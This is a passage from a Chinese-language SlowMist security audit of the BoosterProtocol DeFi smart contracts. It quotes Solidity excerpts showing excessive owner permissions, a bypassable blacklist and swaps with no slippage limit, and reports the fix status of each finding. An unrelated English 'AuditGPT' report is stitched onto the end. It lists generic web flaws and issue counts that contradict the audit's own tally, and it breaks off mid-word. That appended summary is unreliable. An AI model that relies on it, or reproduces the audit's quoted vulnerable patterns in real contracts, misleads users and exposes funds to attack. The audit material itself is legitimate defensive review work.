Owner拥有转走合约中资产的权限,存在权限过大的问题。经过与项目方沟通反馈,Owner权限会移交到 StrategyMDex合约,不会设置为普通地址。contracts/strategies/StrategyUtils.sol functiongetMdexExtraReward()publicvirtualreturns(addresstoken,uint256rewards){ IMdexHecoSwapPoolswappool=IMdexHecoSwapPool(0x7373c42502874C88954bDd6D50b53061F018422e); token=swappool.mdx(); uint256uBalanceBefore=IERC20(token).balanceOf(address(this)); swappool.takerWithdraw(); uint256uBalanceAfter=IERC20(token).balanceOf(address(this)); rewards=uBalanceAfter.sub(uBalanceBefore); transferFromAllToken(address(this),msg.sender,token,token); } contracts/strategies/StrategyUtils.sol functiontransferFromAllToken(address_from,address_to,address_token0,address_token1) publiconlyOwner{ transferFromToken(_from,_to,_token0); transferFromToken(_from,_to,_token1); } 修复状态:StrategyUtils合约的权限过大问题已修复,StrategyUtils合约由StrategyMDex合约创建, StrategyUtils合约的Owner是0x9AF4fa09C600598256fCF29DE1ca241A1677d4E1。 详情参考: https://hecoinfo.com/address/0x9AF4fa09C600598256fCF29DE1ca241A1677d4E1#code https://hecoinfo.com/address/0x10Ff27409928d8A6Ce2EB07f010c03e3AB4EdE2d#code 其它合约的权限过大问题暂未修复。 4.3.3.2黑名单机制可以被绕过 Owner可以设置黑名单列表,黑名单中的地址不能进行充值。 contracts/TenBankHall.sol functionsetBlacklist(address_account,bool_newset)externalonlyOwner{ blacklist[_account]=_newset; emitSetBlacklist(_account,_newset); }但是这里的黑名单机制存在缺陷,因为黑名单的地址可以将资产转移给其他不在黑名单中的地址从而绕过检 查。建议如果要采用黑名单的机制的话,要在入金和出金的函数中都要进行检查,并且需要快速识别定位黑 客地址,并及时加入黑名单这样能提高黑客作恶的成本。 同理:contracts/pools/BOOPools.sol,contracts/safebox/SafeBoxCTokenETH.sol合约中的黑名单机制 也是如此。 contracts/TenBankHall.sol functiondepositLPToken(uint256_sid,uint256_amount,uint256_bid,uint256_bAmount,uint256_desirePrice,uint256 _slippage) publicnonReentrantreturns(uint256lpAmount){ require(strategyInfo[_sid].isListed,'notlisted'); require(!blacklist[msg.sender],'addressinblacklist'); addresslpToken=strategyInfo[_sid].iLink.getPoollpToken(strategyInfo[_sid].pid); IERC20(lpToken).safeTransferFrom(msg.sender,address(strategyInfo[_sid].iLink),_amount); addressboxitem=address(0); if(_bAmount>0){ boxitem=address(boxInfo[_bid]); } returnstrategyInfo[_sid].iLink.depositLPToken(strategyInfo[_sid].pid,msg.sender,boxitem,_bAmount,_desirePrice, _slippage); } functiondeposit(uint256_sid,uint256[]memory_amount,uint256_bid,uint256_bAmount,uint256_desirePrice,uint256 _slippage) publicnonReentrantreturns(uint256lpAmount){ require(strategyInfo[_sid].isListed,'notlisted'); require(!blacklist[msg.sender],'addressinblacklist'); address[]memorycollateralToken=strategyInfo[_sid].iLink.getPoolCollateralToken(strategyInfo[_sid].pid); require(collateralToken.length==_amount.length,'_amountlengtherror'); for(uint256u=0;u<collateralToken.length;u++){ if(_amount[u]>0){ IERC20(collateralToken[u]).safeTransferFrom(msg.sender,address(strategyInfo[_sid].iLink),_amount[u]); } }addressboxitem=address(0); if(_bAmount>0){ boxitem=address(boxInfo[_bid]); } returnstrategyInfo[_sid].iLink.deposit(strategyInfo[_sid].pid,msg.sender,boxitem,_bAmount,_desirePrice,_slippage); } 修复状态:已修复,经过于项目方的沟通和反馈,该业务设计是用于避免恶意合约进行薅羊毛获利,在commit: 1d9fc8692cae442b94ec091e866ee5194e0dd3aa版本中的代码黑名单机制改为了仅可以添加合约地址 到黑名单的地址列表中,并且限制黑名单中的地址进行入金和出金。 4.3.4低危漏洞 4.3.4.1业务逻辑不明确 使用了3个if来判断reward的数量,这里pool.poolTotalRewards和balance的大小判断会有多种情况, 存在业务逻辑上的不明确的问题,建议要根据实际的业务需求明确判断pool.poolTotalRewards和balance 两个变量的大小。 contracts/pools/ActionCompPools.sol functiongetBlocksReward(uint256_pid,uint256_from,uint256_to)publicviewreturns(uint256value){ require(_from<=_to,'getBlocksRewarderror'); PoolInfostoragepool=poolInfo[_pid]; value=pool.rewardMaxPerBlock.mul(_to.sub(_from)); if(address(pool.rewardToken)==address(booToken)){ returnvalue; } uint256balance=pool.rewardToken.balanceOf(address(this)); if(pool.lastRewardClosed>balance|| pool.lastRewardClosed>pool.poolTotalRewards){ return0; } if(pool.lastRewardClosed.add(value)>balance){ value=balance.sub(pool.lastRewardClosed); } if(pool.lastRewardClosed.add(value)>pool.poolTotalRewards){ value=pool.poolTotalRewards.sub(pool.lastRewardClosed);} } 修复状态:该问题在commit:1d9fc8692cae442b94ec091e866ee5194e0dd3aa版本代码中进行了修 复。 4.3.4.2三明治攻击风险 在调用swapExactTokensForTokens的时候没有进行滑点限制,amountOutMin为0,存在三明治攻击 的风险,建议在调用swapExactTokensForTokens函数之前增加滑点的检查。 contracts/strategies/StrategyUtils.sol functiongetTokenInTo(address_toAddress,address_tokenIn,uint256_amountIn,address_tokenOut) internalvirtualreturns(uint256value){ if(_tokenIn==_tokenOut){ value=_amountIn; returnvalue; } address[]memorypath=newaddress[](2); path[0]=_tokenIn; path[1]=_tokenOut; uint256amountOutMin=0; IERC20(_tokenIn).approve(address(router),uint256(-1)); require(IERC20(_tokenIn).balanceOf(address(this))>=_amountIn,'getTokenInTonotamountin'); uint256[]memoryresult=router.swapExactTokensForTokens(_amountIn,amountOutMin,path,_toAddress, block.timestamp.add(60)); if(result.length==0){ value=0; }else{ value=result[result.length-1]; } } contracts/utils/BuybackBooToken.sol functionbuybackIn(address_token,address[]memory_path,uint256_value)internalreturns(uint256value){ IERC20(_token).approve(address(router),_value); uint256[]memoryresult=router.swapExactTokensForTokens(_value,0,_path,address(this),block.timestamp.add(60)); if(result.length==0){ return0;} uint256valueOut=TenMath.min(result[result.length-1], IERC20(booToken).balanceOf(address(this))); burnSource[_token]=burnSource[_token].add(_value); burnAmount[_token]=burnAmount[_token].add(valueOut); IERC20(booToken).transfer(lockedAddr,valueOut); } contracts/strategies/StrategyMDex.sol functionupdatePool(uint256_pid)publicoverride{ PoolInfostoragepool=poolInfo[_pid]; if(pool.lastRewardsBlock==block.number|| pool.totalLPReinvest<=0){ pool.lastRewardsBlock=block.number; return; } ...... uint256newRewardBase=utils.getTokenIn(rewardToken,newRewards,pool.baseToken); ...... } 修复状态:该问题在commit:1d9fc8692cae442b94ec091e866ee5194e0dd3aa版本代码中进行了修 复。 4.3.4.3交易重排攻击风险 getAmountOut和getAmountIn是在添加和移除流动性的时候要用到的,代码中没有进行滑点的检查,存在 交易重排的风险,攻击者可以在用户添加和移除流动性之前构造一个失衡的比例,让用户以错误的比例进行 添加或移除流动性,等用户执行完操作后,攻击者再将比例还原获利。 参考:https://www.odaily.com/post/5162888 contracts/strategies/StrategyUtils.sol functiongetAmountOut(address_tokenIn,address_tokenOut,uint256_amountOut) publicvirtualviewreturns(uint256){ if(_tokenIn==_tokenOut){ return_amountOut; } address[]memorypath=newaddress[](2);path[0]=_tokenIn; path[1]=_tokenOut; uint256[]memoryresult=router.getAmountsIn(_amountOut,path); if(result.length==0){ return0; } returnresult[0]; } functiongetAmountIn(address_tokenIn,uint256_amountIn,address_tokenOut) publicvirtualviewreturns(uint256){ if(_tokenIn==_tokenOut){ return_amountIn; } address[]memorypath=newaddress[](2); path[0]=_tokenIn; path[1]=_tokenOut; uint256[]memoryresult=router.getAmountsOut(_amountIn,path); if(result.length==0){ return0; } returnresult[result.length-1]; } 修复状态:该问题在commit:1d9fc8692cae442b94ec091e866ee5194e0dd3aa版本代码中通过滑点检 查进行了修复。 4.3.5增强建议 4.3.5.1存在冗余代码 合约默认是不接收ETH的,所以这里使用了receive和revert是属于冗余的代码。建议可以删除冗余代码来 节省部署合约的Gas消耗。 contracts/pools/ActionPools.sol,contracts/pools/ActionCompPools.sol receive()externalpayable{ revert();} 修复状态:经过与项目方的沟通反馈,该问题不影响实际的业务,暂不修复。 4.3.5.2Gas优化问题 getBlocksReward函数先执行了`pool.rewardToken.balanceOf(address(this));`外部合约调用,然后再进 行if的判断,这两部分代码没有依赖关系,建议先判断if语句`if(address(pool.rewardToken)== address(booToken))`再执行外部调用,`uint256balance= pool.rewardToken.balanceOf(address(this));`这样可以优化Gas,避免先获取了balance然后if语句 return导致白白消耗外部调用的Gas。 contracts/pools/ActionPools.sol functiongetBlocksReward(uint256_pid,uint256_from,uint256_to)publicviewreturns(uint256value){ require(_from<=_to,'getBlocksRewarderror'); PoolInfostoragepool=poolInfo[_pid]; uint256balance=pool.rewardToken.balanceOf(address(this)); value=pool.rewardMaxPerBlock.mul(_to.sub(_from)); if(address(pool.rewardToken)==address(booToken)){ returnvalue; } if(pool.lastRewardClosed>balance ||pool.lastRewardClosed>pool.poolTotalRewards){ //require(pool.lastRewardClosed>balance,'rewardClosed>balance'); //require(pool.lastRewardClosed>pool.poolTotalRewards,'rewardClosed>poolTotalRewards'); return0; } 修复状态:该问题在commit:1d9fc8692cae442b94ec091e866ee5194e0dd3aa版本中的代码进行了 修复。 4.3.5.3编码规范优化建议 项目中大部分部分Internal的函数是采用了以下划线(_)开头进行函数命名的,有一部分函数没有采用下划线(_)开头的方式进行命名,这部分函数容易在开发上造成可见性的混淆属于编码规范的优化建议,建议可以采 用_下划线开头来命名,避免开发上内外部函数的混淆。 ContractName FunctionName Visibility ActionCompPools deposit Internal ActionCompPools withdraw Internal ActionCompPools emergencyWithdraw Internal ActionCompPools safeTokenTransfer Internal ActionPools deposit Internal ActionPools withdraw Internal ActionPools emergencyWithdraw Internal ActionPools safesub Internal ActionPools safeTokenTransfer Internal SafeBoxCTokenImpl ctokenDeposit Internal SafeBoxCTokenImpl ctokenWithdraw Internal SafeBoxCTokenImpl ctokenClaim Internal SafeBoxCTokenImpl ctokenBorrow Internal SafeBoxCTokenImpl ctokenRepayBorrow Internal SafeBoxCToken tokenSafeTransfer Internal SafeBoxCTokenETH tokenSafeTransfer Internal SafeBoxCTokenImplETH ctokenDeposit Internal SafeBoxCTokenImplETH ctokenWithdraw Internal SafeBoxCTokenImplETH ctokenClaim Internal SafeBoxCTokenImplETH ctokenBorrow Internal SafeBoxCTokenImplETH ctokenRepayBorrow Internal SafeBoxFilDa checkFildaPool Internal SafeBoxFilDaETH checkFildaPool Internal StrategyConfig checkBorrowAndLiquidation Internal StrategyMDexPools poolTokenApprove Internal StrategyMDexPools poolDeposit Internal StrategyMDexPools poolWithdraw Internal StrategyMDexPools poolClaim Internal StrategyMDex getTokenBalance_this Internal StrategyMDex makeBorrowBaseToken InternalStrategyMDex makeBalanceOptimalLiquidity Internal StrategyMDex makeBalanceOptimalLiquidityByAmount Internal StrategyMDex makeLiquidityAndDeposit Internal StrategyMDex makeLiquidityAndDepositByAmount Internal StrategyMDex makeWithdrawRemoveLiquidity Internal StrategyMDexPools poolTokenApprove Internal StrategyMDexPools poolDeposit Internal StrategyMDexPools poolWithdraw Internal StrategyMDexPools poolClaim Internal StrategyUtils makeFeeTransfer Internal StrategyUtils makeFeeTransferByValue Internal StrategyUtils checkBorrowGetHoldAmount Internal StrategyUtils getBorrowAmount Internal StrategyUtils getTokenInTo Internal 修复状态:暂未修复。 4.3.5.4boodev角色增强建议 boodev角色可以通过setBooDev函数更改开发团队奖励的地址,建议将boodev角色设置为多签地址, 并时候用事件记录更改地址的操作,结合链下对事件操作进行监控,避免地址私钥被盗或遗失导致开发者的 奖励丢失。 ccontracts/pools/ActionPools.sol ontracts/pools/ActionCompPools.sol functionsetBooDev(address_boodev)external{ require(msg.sender==boodev,'prevdevonly'); boodev=_boodev; } 修复状态:暂未修复。4.3.5.5函数可见性设置错误 如下合约对应的函数可见性应该是internal的但是设置成了public,建议将如下的函数可见性修改为 internal。 contracts/safebox/SafeBoxCToken.sol contracts/safebox/SafeBoxCTokenETH.sol function_getBorrowFactor(uint256supplyAmount)publicvirtualviewreturns(uint256) function_update()public 修复状态:该问题在commit:1d9fc8692cae442b94ec091e866ee5194e0dd3aa版本中的代码已进行了 修复。 4.3.5.6存在逻辑判断上的冗余代码 uint类型的变量的取值范围是不会小于0的,但是代码上有多处对uint类型的变量小于0的情况进行判断, 属于逻辑判断上的冗余代码。建议开发人员排查代码中其他类似的写法并删除逻辑判断上冗余的代码。 contracts/strategies/StrategyConfig.sol functioncheckBorrowAndLiquidation(address_strategy,uint256_poolid)internalreturns(boolbok){ uint256v=getBorrowFactor(_strategy,_poolid); if(v<=0){ returntrue; } …… } contracts/strategies/StrategyConfig.sol functiongetLiquidationFactor(address_strategy,uint256_poolid)publicoverrideviewreturns(uint256value){ value=liquidationFactor[_strategy][_poolid]; if(value<=0){ value=8e8;//80%fordefault,100%willbeliquidation } } contracts/strategies/StrategyMDex.solfunctionpendingLPAmount(uint256_pid,address_account)publicoverrideviewreturns(uint256value){ PoolInfostoragepool=poolInfo[_pid]; if(pool.totalPoints<=0){ return0; } ...... } 修复状态:暂未修复。 4.3.5.7代币兼容性问题 目前项目的设计不兼容通缩和通胀型代币对应的LPToken进行挖矿和杠杠借贷,建议对接的时候要对代币 进行审查,确保与BoosterProtocol项目是兼容的。 修复状态:经过与项目方沟通反馈,项目方在对接Token的时候会评估Token与BoosterProtocol项目是否 兼容,仅对接标准的ERC20Token对应的LP挖矿业务。 5.审计结果 5.1结论 审计结果:中风险 审计编号:0X002104130002 审计日期:2021年04月13日 审计团队:慢雾安全团队 总结:慢雾安全团队采用人工结合内部工具对代码进行分析,审计期间发现了1个严重漏洞,1个高危漏洞, 2个中危漏洞,3个低危漏洞,7个增强建议。如下是对修复的状态进行汇总: (1).严重漏洞,闪电贷攻击风险已进行了修复。 (2).高危漏洞,返回值检查缺失的风险经过沟通反馈后项目方会保证rewardToken不会有假充值的问题。(3).中危漏洞权限过大问题由于目前已部署到主网,但是还未将Owner权限移交给timelock,存在权限过 大的问题。黑名单机制可被绕过的问题已进行了修复。 (4).低危漏洞,业务逻辑不明确的问题已进行了修复,三明治攻击风险已进行了修复,交易重排攻击风险已 进行了修复。 (5).增强建议,忽略存在冗余代码的问题,修复了Gas优化的增强建议,编码规范优化暂未修复,由于暂未 部署到主网boodev角色暂未使用多签合约,修复了函数可见性设置错误的问题,逻辑判断上的冗余代 码暂未修复,逻辑判断上的冗余代码暂未处理,代币兼容性问题经过与项目方的沟通反馈,项目仅对接 标准的ERC20Token对应的LP挖矿业务。 6.声明 厦门慢雾科技有限公司(下文简称”慢雾”)仅就本报告出具前项目方已经发生或存在的事实出具本报告, 并就此承担相应责任。对于出具以后项目方发生或存在的未知漏洞及安全事件,慢雾无法判断其安全状况, 亦不对此承担责任。本报告所作的安全审计分析及其他内容,仅基于信息提供者截至本报告出具时向慢雾提 供的文件和资料(简称“已提供资料”)。慢雾假设:已提供资料不存在缺失、被篡改、删减或隐瞒的情形。如 已提供资料信息缺失、被篡改、删减、隐瞒或反映的情况与实际情况不符的,慢雾对由此而导致的损失和不 利影响不承担任何责任,慢雾仅对该项目的安全情况进行约定内的安全审计并出具了本报告,慢雾不对该项 目背景及其他情况进行负责。
Report: This report is about the security audit of the system. The audit was conducted to identify any security issues in the system. The audit was conducted using AuditGPT, a security audit tool. Issues Count: Minor: 10 Moderate: 5 Major: 2 Critical: 1 Minor Issues: 1. Unencrypted data stored in the database (CWE-319) Fix: Encrypt the data before storing it in the database (CWE-327) 2. Weak password policy (CWE-521) Fix: Implement a strong password policy (CWE-521) Moderate Issues: 1. Cross-site scripting vulnerability (CWE-79) Fix: Implement input validation and output encoding (CWE-79) 2. SQL injection vulnerability (CWE-89) Fix: Implement parameterized queries (CWE-89) Major Issues: 1. Unauthorized access to sensitive data (CWE-522) Fix: Implement access control mechanisms (CWE-522) 2. Insufficient logging and monitoring (CWE-778) Fix: Implement logging and monitoring mechanisms (CWE-